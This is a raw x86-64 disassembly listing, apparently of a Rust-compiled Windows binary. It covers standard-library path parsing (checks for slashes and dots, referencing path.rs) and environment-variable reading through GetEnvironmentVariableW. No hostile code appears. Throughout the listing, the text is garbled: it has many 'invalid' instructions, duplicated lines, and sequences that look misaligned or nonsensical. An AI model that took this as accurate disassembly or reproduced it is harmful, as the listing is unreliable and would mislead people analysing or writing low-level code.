jne case.0x14001a3ad.3444
mov qword [rbp + 0x10], rdi
mov byte [rbp + 0x18], al
movaps xmm0, xmmword [rbp - 0x60]
sub byte [rbp - 0x60], al
sub byte [rbp - 0x60], al
movaps xmm1, xmmword [rbp - 0x50]
movups xmmword [rbp + 0x19], xmm0
adc dword [rbp + 0x19], eax
adc dword [rbp + 0x19], eax
movups xmmword [rbp + 0x29], xmm1
mov rcx, qword [rbp - 0x41]
mov qword [rbp + 0x38], rcx
mov byte [rbp + 0x42], dl
mov byte [rbp + 0x40], r12b
mov byte [rbp + 0x41], r8b
cmp r12b, 2
jne 0x1400d8974
test rdi, rdi
je case.0x1400d7e58.34
cmp al, 3
jae 0x1400d8900
xor ecx, ecx
nop word cs:[rax + rax]
movzx r9d, byte [rsi + rcx]
cmp r9d, 0x2f
je 0x1400d8940
cmp r9d, 0x5c
je 0x1400d8940
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov r9d, 1
test rcx, rcx
je 0x1400d8956
cmp rcx, 1
jne 0x1400d896c
cmp byte [rsi], 0x2e
jne 0x1400d896c
add rcx, r9
cmp rdi, rcx
jb 0x1400d8c65
iretd
add rsi, rcx
sub rdi, rcx
iretd
jne 0x1400d8900
iretd
xor edi, edi
dec dword [rax - 0x77]
jne 0x1400d8978
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rdi
cmp r8b, 2
cmp al, 2
add cl, byte [rdi]
test dword [rbx + 2], ecx
add al, byte [rax]
invalid
jne 0x1400d8bc9
add al, byte [rax]
add byte [rdx + rdx*8 + 0x41c1950f], al
rol dword [rcx - 0x80], 0xfc
invalid
test dl, dl
setne cl
rol dword [rcx - 0x80], 0xfc
invalid
rol dword [rcx - 0x80], 0xfc
add dword [rdi + 0x31], esi
ja 0x1400d89ba
xor r8d, r8d
cmp al, 5
jb 0x1400d8a08
test dl, dl
jne 0x1400d8a08
sal byte [rbp + 0x74], cl
xor r9d, r9d
xor ecx, ecx
leave
cmp al, 6
je 0x1400d89b0
test r12b, r12b
jne 0x1400d89b0
mov r9d, 2
mov ecx, 2
cmp rdi, 1
jbe 0x1400d8ca7
xchg bh, dh
add al, byte [rax]
invalid
xchg bh, dh
add al, byte [rax]
add byte [rcx + 0x39], cl
stc
cmp r9, rdi
jne 0x1400d89c1
xor r8d, r8d
jmp 0x1400d8a08
invalid
xor rcx, r9
xor ecx, ecx
xor r8d, r8d
jmp case.0x1400d8bf4.6
lea r8, [rsi + rdi]
lea r10, [rsi + r9]
adc al, 0xe
adc al, 0xe
inc r10
cmp r10, r8
sete r8b
sete al
sete al
movzx r9d, byte [rsi + r9]
test r8b, 1
jne 0x1400d89fd
cmp r9b, 0x2e
cmp cl, 0x2e
jne 0x1400d89fd
sbb dword [rbp + 0xf], eax
mov dh, 2
movzx r8d, byte [r10]
movzx eax, byte [rdx]
cmp r8b, 0x5c
sete r9b
cmp r8b, 0x2f
sete r8b
or r8b, r9b
or al, cl
or al, cl
jmp 0x1400d8a08
cmp r9b, 0x2e
stc
sete r9b
sete r9b
sete r9b
and r8b, r9b
test r12b, r12b
je 0x1400d8be3
xor r9d, r9d
movzx r8d, r8b
movzx ecx, cl
add rcx, r8
add rcx, r9
cmp rdi, rcx
jbe 0x1400d8bc9
test dl, dl
setne cl
cmp al, 6
sete r13b
cmp al, 5
setb bl
test r12b, r12b
setne r9b
mov r10, qword [rbp + 0x38]
lea r8, [r10 + 1]
test r10, r10
cmove r8, r10
ret 0x8041
cld
add cl, byte [rdi]
cmp dword [rcx], 1
add byte [rax], al
add edx, 2
mov qword [rbp - 0x10], rdx
lea rcx, [rcx + r8 + 8]
add qword [rax], r9
add qword [rax], r9
mov qword [rbp - 8], rcx
mov eax, eax
mov qword [rbp - 0x18], rax
jmp 0x1400d8aaf
add byte [rcx], dh
rol byte [rbp - 0x7c], 0xe4
xor eax, eax
test r12b, r12b
je 0x1400d8b50
add byte [rax], al
xor ecx, ecx
movzx eax, al
add rax, r14
invalid
add rax, rcx
cmp rdi, rax
jbe 0x1400d8bc9
sbb al, byte [rcx]
add byte [rax], al
invalid
sbb al, byte [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x77], cl
dec dword [rax - 0x73]
movabs al, byte [0x201e808558d48]
movabs al, byte [0x201e808558d48]
mov r15, rdi
lea rcx, [rbp - 0x60]
movabs al, byte [0x201e808558d48]
add byte [rax + 0xf0aa87d], al
test dword [rbx], edi
add dword [rax], eax
add byte [rax], al
movabs al, byte [0x201e808558d48]
add byte [rax + 0xf0aa87d], al
test dword [rbx], edi
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 1], cl
mov rdi, r15
sub rdi, qword [rbp - 0x60]
jb 0x1400d8c74
invalid
sahf
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
jge 0x1400d8aea
test bl, bl
jne case.0x1400d745f.53
xor ecx, ecx
jmp 0x1400d8aff
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 2], bh
add byte [rax], al
mov ecx, 2
cmp rdi, 2
jb 0x1400d8c98
cmp rcx, rdi
je case.0x1400d745f.53
mov word [rax - 0x73], cs
add al, 0x3e
lea rax, [rsi + rdi]
lea rdx, [rsi + rcx]
inc rdx
inc edx
inc edx
cmp rdx, rax
sete al
movzx ecx, byte [rsi + rcx]
invalid
test al, 1
jne case.0x140018f24.3338
cmp cl, 0x2e
jne case.0x140018f24.3338
invalid
sbb cl, byte [rdi]
movzx eax, byte [rdx]
mov dh, 2
cmp al, 0x5c
sete cl
xchg esp, eax
sar dword [rdi + rbp], 0xf
cmp al, 0x2f
sete al
or al, cl
xchg esp, eax
sar dword [rdi + rbp], 0xf
cmp al, 0x2f
sete al
or al, cl
test r12b, r12b
jne case.0x1400d8b62.6
test dword [rcx - 1], esp
invalid
invalid
test dword [rcx - 1], esp
invalid
jmp 0x1400d8b50
cmp cl, 0x2e
sete cl
and al, cl
test r12b, r12b
jne case.0x1400d8b62.6
test dword [rsi - 1], ecx
invalid
invalid
nop dword [rax]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
lea rdx, [0x1401795fc]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
invalid
mov rcx, qword [rbp]
jmp 0x1400d8a9d
mov rcx, qword [rbp - 0x10]
jmp 0x1400d8a9d
invalid
invalid
invalid
invalid
invalid
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
jmp 0x1400d8a9d
invalid
mov ecx, 6
jmp 0x1400d8a9d
mov ecx, 2
add byte [rax], al
jmp 0x1400d8a9d
or bh, bh
invalid
or byte [rdi], cl
invalid
add dword [rax], eax
add byte [rax + 0x750aa87d], al
cmp byte [rbp - 0x58], 0xa
jne 0x1400d8bc9
mov rcx, rdi
sub rcx, qword [rbp - 0x60]
invalid
invalid
jb 0x1400d8c86
cmp byte [rbp - 0x58], 0xa
jne 0x1400d8bc9
movabs al, byte [0x8948000000c8820f]
adc byte [r8 - 0x77], r9b
iretd
xor edi, edi
mov rax, rsi
mov rdx, rdi
add rsp, 0xc8
enter 0, 0
enter 0, 0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r9d, eax
lea r10, [0x1401795e0]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
mov rdi, r15
jmp 0x1400d8bc9
push rbp
cmp byte [rbp - 0x73], cl
pop rdx
add dword [rbp - 0x7b], ecx
test r10, r10
cmove r11, r10
add r9, r11
test r10, r10
cmove r11, r10
add r9, r11
add r9, 8
jmp 0x1400d8a14
mov ecx, 6
jmp 0x1400d8a14
std
invalid
invalid
std
invalid
inc dword [rcx - 0x47]
add al, byte [rax]
add byte [rax], al
jmp 0x1400d8a14
invalid
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.1401085a0
mov rcx, rdi
lea r8, str.library_std_srcpath.rs
xor dl, byte [rdi]
invalid
add byte [rcx + rcx*4 - 6], cl
cli
xor dl, byte [rdi]
invalid
cli
call fcn.140108620
mov r15, rdi
mov edi, edi
mov edi, edi
lea r8, str.library_std_srcpath.rs
mov rdx, r15
call fcn.140108620
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.1401085a0
mov cl, 0x16
invalid
lea r8, str.library_std_srcpath.rs
mov ecx, 2
mov rdx, rdi
call fcn.1401085a0
add ah, cl
add ah, cl
int3
sal dword [rbp + 5], cl
xor r9d, r9d
jmp 0x1400d8d75
iretd
nop word cs:[rax + rax]
cmp byte [rdi], 0x5c
je case.0x1400d7391.67
inc r11
dec rdi
cmp r11, 1
invalid
add dword [rbp - 0x11], esi
jne 0x1400d8d20
jmp 0x1400d8d75
add byte [rax], al
add byte [rax], al
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je case.0x1400d7391.67
cmp ebx, 0x5c
je case.0x1400d7391.67
inc r11
dec rdi
cmp r11, 1
jne 0x1400d8d40
invalid
out 0xeb, eax
sbb cl, byte [rcx - 9]
neg r11
add rax, r11
jmp 0x1400d8d75
neg r11
add rax, r11
inc rax
inc eax
cmp rax, rdx
ja 0x1400d8dd9
add r10, rax
mov r9d, 1
mov rcx, r10
sub rdx, rax
je 0x1400d8dae
ret 0x3474
mov al, 9
cmp rdx, 2
je 0x1400d8d9e
cmp rdx, 1
jne 0x1400d8db0
add dword [rbp + 0x28], esi
cmp byte [rcx], 0x2e
jne 0x1400d8db0
xor eax, eax
cmp r8b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
rol byte [rdi], 0xeb
invalid
rol byte [rdi], 0xeb
adc al, byte [rax + 0xd752e39]
cmp dword [rsi], ebp
jne 0x1400d8db0
cmp byte [rcx], 0x2e
cmp dword [rsi], ebp
jne 0x1400d8db0
jne 0x1400d8db0
cmp byte [rcx + 1], 0x2e
sete al
xor al, 9
jmp 0x1400d8db0
mov al, 0xa
or cl, byte [rcx + 1]
add r9, rdx
ror dword [rcx + rcx*4 + 0xe], 1
mov qword [rsi], r9
mov dword [rsi], ecx
mov byte [rsi + 8], al
mov qword [rsi + 0x10], rcx
mov dword [rsi + 0x10], ecx
mov dword [rsi + 0x10], ecx
adc byte [rax - 0x77], r9b
push rsi
sbb byte [rax - 0x7d], cl
mov qword [rsi + 0x18], rdx
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop rbp
ret
invalid
lea eax, [0x14014a368]
adc eax, 0x89480007
invalid
add byte [rax - 0x77], cl
mov rcx, rax
call fcn.1401085a0
invalid
add al, byte [rax]
shr eax, 0xc7
test dword [rdx], 0x58d4c00
movabs al, byte [0xb8e8c18948000715]
mov eax, 0xcc0002f7
int3
int3
lea r8, str.library_std_srcpath.rs
mov rcx, rax
call fcn.1401085a0
invalid
invalid
add al, byte [rax]
mov eax, 0xcc0002f7
int3
add al, byte [rax]
int3
int3
int3
movzx r8d, byte [rcx + 0x38]
movzx eax, byte [rcx + 0x38]
movzx edx, byte [rcx + 0x3a]
test dl, dl
setne al
invalid
mov dh, 0x51
cmp al, byte [rdx + rdx*8 + 0x41c0950f]
rol byte [rcx - 0x80], 0xf8
invalid
rol byte [rcx - 0x80], 0xf8
add dword [rdi + 0x63], esi
ja 0x1400d8e71
cmp r8b, 1
ja 0x1400d8e71
test dl, dl
jne 0x1400d8e4a
adc byte [rcx - 0x73], al
push rbx
sti
cmp dl, 1
ja 0x1400d8e4a
mov r9, qword [rcx]
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
mov edx, dword [rcx + 8]
xor r10d, r10d
xor edx, edx
test r8b, r8b
jne 0x1400d8e45
cmp r11b, 6
je 0x1400d8e45
invalid
mov r10d, 2
cmp rdx, 1
cli
add dword [rdi], ecx
xchg bl, bl
add byte [rax], al
invalid
add byte [rcx + 0x39], cl
cmp r10, rdx
jne 0x1400d8e89
sal byte [rbp + 0x3f], cl
xor edx, edx
rol byte [rbp - 0x7c], cl
test r8b, r8b
jne case.0x1400d8e64.6
sal byte [rbp + 0x24], 0x44
movzx eax, byte [rcx + 0x10]
lea r9, [0x140179618]
lea ecx, [0x140179618]
invalid
invalid
or al, byte [rax]
mov ebx, 0x4f000a07
invalid
invalid
or al, byte [rax]
movsxd r8, dword [r9 + r8*4]
add r8, r9
add eax, ecx
or dword [rbp + 1], 0xe0ff41c8
mov rcx, qword [rcx + 0x20]
add eax, ecx
jmp r8
add rcx, 4
jmp 0x1400d8e77
invalid
invalid
xor eax, eax
xor edx, edx
sal byte [rcx], cl
xor ecx, ecx
leave
leave
movzx edx, dl
movzx eax, al
add rax, rdx
add rax, rcx
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbp
ret
add rdx, r9
lea r11, [r9 + r10]
inc r11
cmp r11, rdx
cmp ebx, edx
sete dl
movzx r9d, byte [r9 + r10]
test dl, 1
jne 0x1400d8f10
cmp r9b, 0x2e
jne 0x1400d8f10
movzx edx, byte [rbx]
cmp dl, 0x5c
pop rsp
pop rsp
sete r9b
cmp dl, 0x2f
cli
invalid
sete dl
or dl, r9b
jmp case.0x14001a3ad.3455
invalid
cli
invalid
lea ecx, [rbx + rcx*4 + 0x41]
and byte [rax - 0x75], cl
invalid
mov eax, dword [rcx + 0x20]
mov rcx, qword [rcx + 0x30]
mov ecx, dword [rcx + 0x30]
xor byte [r13 + rcx*4 + 0x49], cl
add dword [rax - 0x7b], ecx
leave
xor byte [r13 + rcx*4 + 0x49], cl
add dword [rax - 0x7b], ecx
leave
cmove r9, rcx
lea rcx, [r8 + r9]
or byte [rax - 0x7d], cl
rol dword [rdx], 0xeb
add ch, bl
wait
or byte [rax - 0x7d], cl
rol dword [rdx], 0xeb
add ch, bl
add ch, bl
wait
mov r8, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x30]
lea r9, [rcx + 1]
test rcx, rcx
leave
leave
cmove r9, rcx
lea rcx, [r8 + r9]
lea ecx, [rax + rcx]
lea ecx, [rax + rcx]
add rcx, 8
jmp 0x1400d8e77
add al, byte [rax]
add byte [rax], al
jmp 0x1400d8e77
sbb eax, 0x186c031
cmp al, 2
jne 0x1400d8f73
add rsp, 0x28
pop rsi
pop rbp
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x28
pop rsi
pop rbp
ret
invalid
add dword [rcx - 0x77], ecx
ror byte [rcx - 1], 0xc0
je 0x1400d9019
mov rsi, rcx
lea rcx, [rax + rax]
cmp rcx, r8
cmp ecx, eax
cmp ecx, eax
cmova r8, rcx
xor edx, edx
mov r9, r8
mov ecx, eax
mov ecx, eax
shr r9, 0x3e
sete dl
cmp r8, 5
mov edi, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
cmovae rdi, r8
clc
lea r8, [rdi + rdi]
add edx, edx
test rax, rax
je 0x1400d8fec
mov rax, qword [rsi + 8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x20], rcx
or byte [rax - 0x77], cl
ror byte [r8 - 0x77], 1
loopne 0x1400d8f9e
mov eax, 2
add al, byte [rax]
add byte [rax], al
jmp 0x1400d8fee
xor eax, eax
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x18]
lea r9, [rbp - 0x30]
fmul dword [r8 - 0x73]
call 0x1105b1d46
call fcn.1400d4a40
cmp qword [rbp - 0x18], 0
cmp dword [rbp - 0x18], 0
jne 0x1400d9020
mov rax, qword [rbp - 0x10]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x50
push rax
pop rdi
pop rsi
pop rbp
ret
xor ecx, ecx
call fcn.1401082a0
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
call fcn.1401082a0
add al, byte [rax]
add al, byte [rax]
int3
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, r9
invalid
mov esi, ecx
mov rdi, rcx
call qword [sym.imp.kernel32.dll_lstrlenW]
test eax, eax
js 0x1400d91cd
mov byte [rcx + rax], ch
invalid
mov byte [rcx + rax], ch
add byte [rdi], cl
test byte [rax + 1], dl
add byte [rax], al
je 0x1400d91b7
mov ebx, eax
lea rax, [rbx + rbx]
nop dword [rax]
test rax, rax
je 0x1400d91b7
dec rbx
movzx ecx, word [rdi + rax - 2]
cmp ecx, 0x5c
je 0x1400d908f
add rax, 0xfffffffffffffffe
cmp ecx, 0x2f
invalid
jne 0x1400d9070
invalid
mov r8, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
lea rax, [rbx + rbx]
sbb ecx, dword [rax - 0x77]
invalid
invalid
test r14, r14
invalid
sbb ecx, dword [rax - 0x77]
invalid
invalid
test byte [rdi], 0x84
test dword [rax], eax
add byte [rax], al
je case.0x14001a3ad.3479
lea rax, [r8 + r14*2]
mov rcx, r8
mov r15, r14
mov r12, rcx
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
in eax, dx
nop dword [rax + rax]
add byte [rax], al
add byte [rsi - 0x7d], ah
cmp word [rcx], 0x3b
cmp dword [rbx], edi
je case.0x14001a3ad.3468
add rcx, 2
inc r13
inc ebp
inc ebp
cmp rcx, rax
jne 0x1400d90c0
out dx, al
jmp 0x1400d9123
invalid
cmp r13, rbx
jne 0x1400d9104
mov rcx, r12
loope 0x1400d9131
mov rdx, rdi
mov edx, edi
mov qword [rbp - 0x18], r8
mov dword [rbp - 0x18], eax
call 0x130531c3f
mov r8, qword [rbp - 0x10]
invalid
call fcn.140106bb0
mov r8, qword [rbp - 0x18]
fiadd dword [rdx]
add byte [rbx + rcx*4 + 0x45], cl
call 0xc41d5185
test eax, eax
je 0x1400d91b7
invalid
test eax, eax
je 0x1400d91b7
invalid
add byte [rcx - 0x73], cl
push rbp
add dword [rbx - 0x73], ecx
lea rdx, [r13 + 1]
lea rcx, [r12 + r13*2]
or al, 0x6c
or al, 0x6c
add rcx, 2
lea rax, [r12 + r15*2]
lea eax, [rsp + rdi*2]
lea eax, [rsp + rdi*2]
sub r15, rdx
jne 0x1400d90b2
cdq
cdq
xor r15d, r15d
cmp r15, rbx
je 0x1400d9138
jmp 0x1400d914e
mov rcx, r12
cmp r15, rbx
invalid
je 0x1400d9138
fbstp tbyte [rbp + rcx - 0x15]
and dword [rbp + 0x31], eax
invalid
invalid
jmp 0x1400d914e
xor r15d, r15d
mov rcx, r8
dec dword [rcx + rcx*4 - 0x3f]
mov ecx, eax
cmp r15, rbx
cmp edi, ebx
jne 0x1400d914e
invalid
mov rdx, rdi
mov r15, r8
mov r8, qword [rbp - 0x10]
call fcn.140106bb0
imul ebx, edx, 0x894d0002
mov r8, r15
clc
test eax, eax
je 0x1400d91b7
test r14, r14
je 0x1400d915c
div byte [rcx + rcx + 0x66]
cmp word [r8 + r14*2 - 2], 0x3b
cmp dword [r8 + r14*2 - 2], 0x3b
jo case.0x14001a3ad.3469
cmp esi, dword [rbx + riz + 0x4c]
je 0x1400d917f
cmp r14, qword [rsi]
cmp esi, dword [rsi]
jne 0x1400d9171
jne 0x1400d9171
mov rcx, rsi
mov ecx, esi
call fcn.1400d8f90
mov r8, qword [rsi + 8]
or byte [rbx + rcx*4 + 0x76], cl
invalid
invalid
or byte [rbx + rcx*4 + 0x76], cl
adc byte [rsi + 0x43], ah
mov word [r8 + r14*2], 0x3b
inc r14
inc esi
mov dword [rax + rsi*2], 0xff49003b
inc esi
invalid
mov qword [rsi + 0x10], r14
mov rax, qword [rsi]
sub rax, r14
cmp rax, rbx
invalid
jae 0x1400d91a0
mov rcx, rsi
mov rdx, r14
invalid
mov r8, rbx
mov r8, rbx
call fcn.140110490
add eax, dword [rax]
mov r8, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
mov esi, dword [rsi + 0x10]
or byte [rbx + rcx*4 + 0x76], cl
adc byte [rbx - 0x73], cl
or al, 0x70
mov esi, dword [rsi + 0x10]
lea rcx, [r8 + r14*2]
mov rdx, rdi
mov r8, qword [rbp - 0x10]
call fcn.140106530
add rbx, r14
mov qword [rsi + 0x10], rbx
mov eax, 1
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
lea rax, [0x14014aef8]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x1d
invalid
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140149528]
lea r8, [rbp - 1]
mov edx, 0x2b
add byte [rax], al
call fcn.1401088e0
ud2
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x40
sub byte [rax - 0x73], cl
push 0x40
call fcn.140108a40
clc
add al, byte [rax]
int3
sub rsp, 0x48
lea rbp, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov rsi, rdx
mov qword [rbp - 0x18], rcx
call 0x160581d7e
call 0x160581d7e
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
lea rdx, str.TryFromIntError
mov r8d, 0xf
add byte [rax], al
xor eax, 0xb8410007
sldt word [rax]
invalid
add byte [rax], al
add bh, bh
push rax
call qword [rax + 0x18]
mov qword [rbp - 8], rsi
jne 0x1400d9246
sbb byte [rax - 0x77], cl
jne 0x1400d9246
mov byte [rbp], al
mov qword [rbp - 0x10], 0
lock add byte [rax], al
add byte [rax], al
lock add byte [rax], al
add byte [rax], al
mov byte [rbp + 1], 0
add dword [r8], r8d
lea r8, [0x140149760]
lea rcx, [rbp - 0x10]
add al, 7
add byte [rax - 0x73], cl
invalid
lea rdx, [rbp - 0x18]
lea edx, [rbp - 0x18]
call fcn.140016570
mov rcx, qword [rbp - 0x10]
movzx edx, byte [rbp]
mov dh, 0x55
add byte [rax - 0x7b], cl
leave
dec dword [rax - 0x75]
invalid
mov dh, 0x55
add byte [rax - 0x7b], cl
leave
je 0x1400d92d4
push rsi
mov al, 1
test dl, dl
jne 0x1400d92d6
mov rsi, qword [rbp - 8]
cmp rcx, 1
add dword [rbp + 0x2c], esi
add dword [rbp + 0x2c], esi
cmp byte [rbp + 1], 0
je 0x1400d92ba
test byte [rsi + 0x34], 4
jne 0x1400d92ba
invalid
and byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
invalid
invalid
sub byte [rax - 0x73], r9b
adc eax, 0x6b8d7
invalid
invalid
invalid
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
invalid
test cl, cl
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
invalid
test cl, cl
add dword [rcx + rcx*8 - 0x74b7e38b], eax
jne 0x1400d92d6
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
lea edx, [0x14014e078]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
lea edx, [0x14014e078]
lea edx, [0x14014e078]
mov r8d, 1
mov eax, 1
call qword [rax + 0x18]
jmp 0x1400d92d6
sbb bl, ch
add cl, byte [rcx + 0xfc084d0]
setne al
add rsp, 0x48
pop rsi
mov eax, edx
test al, al
setne al
add rsp, 0x48
pop rsi
pop rbp
ret
int3
int3
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
invalid
invalid
test dword [rax], esp
add al, 0
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rbp + 0x420], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x60]
call fcn.1400d9730
mov rax, qword [rbp - 0x60]
movabs rdi, 0x8000000000000000
cmp rax, rdi
jne 0x1400d9346
invalid
add byte [rax], al
invalid
adc dword [rax - 0x73], ecx
test al, 0xe8
movabs al, byte [0x251e93e8948ffff]
add byte [rax], al
lea rcx, [rbp - 0x58]
call fcn.1400d3380
mov qword [rsi], rdi
jmp 0x1400d9597
mov qword [rbp + 0x3f8], rsi
mov qword [rbp + 0x3f0], rax
test eax, esi
add eax, dword [rax]
add byte [rax - 0x75], cl
test al, 0x48
mov dword [rbp + 0x400], eax
mov qword [rbp + 0x408], 0
mov qword [rbp + 0x410], 2
test dword [rax], edx
add al, 0
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ebx
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
mov eax, 2
mov qword [rbp + 0x3e8], rax
add eax, dword [rax]
add byte [rcx], dh
push qword [rcx]
fild dword [rbp + 0x31]
test byte [rcx - 0x7f], 0xf8
add dword [rdx], eax
add byte [rax], al
add eax, dword [rax]
add byte [rcx], dh
push qword [rcx]
fild dword [rbp + 0x31]
test byte [rcx - 0x7f], 0xf8
add dword [rdx], eax
add byte [rax], al
jae 0x1400d93d0
jmp 0x1400d93bf
add byte [rax], al
add byte [rax], al
jae 0x1400d9496
cmp r8, 0x201
jae 0x1400d93d0
mov r15d, 0x200
lea r12, [rbp - 0x60]
mov r13, r8
jmp 0x1400d9428
sub r8, r14
sub rbx, r14
cmp rbx, r8
cmp ebx, eax
cmp ebx, eax
jae 0x1400d93ff
lea rcx, [rbp + 0x408]
lea ecx, [rbp + 0x408]
lea ecx, [rax]
add al, 0
add byte [rcx + rcx*4 - 0xe], cl
mov rdx, r14
call fcn.140110490
mov rdi, qword [rbp + 0x408]
mov edi, dword [rbp + 0x408]
mov edi, dword [rbp + 0x408]
mov rax, qword [rbp + 0x410]
mov qword [rbp + 0x3e8], rax
invalid
add eax, dword [rax]
invalid
call 0xf80d9403
mov eax, 0xffffffff
cmp rdi, rax
invalid
mov r14d, 0xffffffff
cmovb r14, rdi
mov qword [rbp + 0x418], r14
add byte [rax], al
add byte [rax], al
mov rbx, rdi
mov r15, r14
mov r12, qword [rbp + 0x3e8]
mov esp, dword [rbp + 0x3e8]
mov esp, dword [rbp + 0x3e8]
mov r13, r14
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x400]
mov rdx, r12
add byte [rcx + rcx*4 - 0x1e], cl
mov r8d, r13d
mov eax, ebp
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov esi, eax
test eax, eax
invalid
sal byte [rbp + 0xe], 0xff
jne 0x1400d9457
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x39fd9
test eax, eax
jne 0x1400d951b
mov r8d, esi
cmp r13, r8
jne 0x1400d93b0
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x39fbf
mov edi, 0x8300039f
clc
jp 0x1400d947c
cmp eax, 0x7a
jne 0x1400d95ac
add dword [rax], eax
invalid
test dword [rdx], edi
add dword [rax], eax
add byte [rbp + 1], cl
in eax, dx
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
mov r8, r13
cmp r8, 0x201
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
invalid
jb 0x1400d93bf
jmp 0x1400d93d0
cmp bh, bh
invalid
invalid
cmp r15, r8
jb case.0x140018f24.3418
lea rcx, [rbp + 0x3a0]
mov rdx, r12
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x1e], cl
loop 0x1400d9492
call fcn.1400d7a00
movups xmm0, xmmword [rbp + 0x3a0]
adc byte [rbp + 0x3a0], al
push rdx
in eax, 0xff
dec dword [rdi]
adc byte [rbp + 0x3a0], al
test dword [rax + 0xf000003], esp
adc byte [rbp + 0x3b0], cl
movups xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3d0], xmm1
invalid
movaps xmmword [rbp + 0x3c0], xmm0
sub dword [rbp + 0x3c0], eax
cmp qword [rbp + 0x408], 0
or byte [rax + rax], al
add byte [rax], al
je 0x1400d94ea
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x140182260]
adc byte [rax + rax], al
add byte [rax - 0x75], cl
or eax, 0xa8d7e
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rsi, 0x8000000000000000
cmp qword [rbp + 0x3c0], rsi
mov rax, qword [rbp + 0x3f8]
clc
add eax, dword [rax]
invalid
je 0x1400d9568
add byte [rax], al
or byte [rax + 0x39], 0xb5
rol byte [rbx], 0
add byte [rax - 0x75], cl
test eax, edi
clc
clc
add eax, dword [rax]
add byte [rsp + riz*2 + 0xf], dh
sub byte [rbp + 0x3c0], al
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmm1, xmmword [rbp + 0x3d0]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
adc dword [rax], eax
adc dword [rax], eax
jmp case.0x14002a2ab.2652
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3c8], rax
movabs rsi, 0x8000000000000000
mov esi, 0
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0xb5
rol byte [rbx], 0
add byte [rax - 0x7d], cl
mov ebp, 0x408
invalid
je 0x1400d9561
invalid
mov esi, 0
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0xb5
rol byte [rbx], 0
or byte [rax - 0x77], 0xb5
rol byte [rbx], 0
add byte [rax - 0x7d], cl
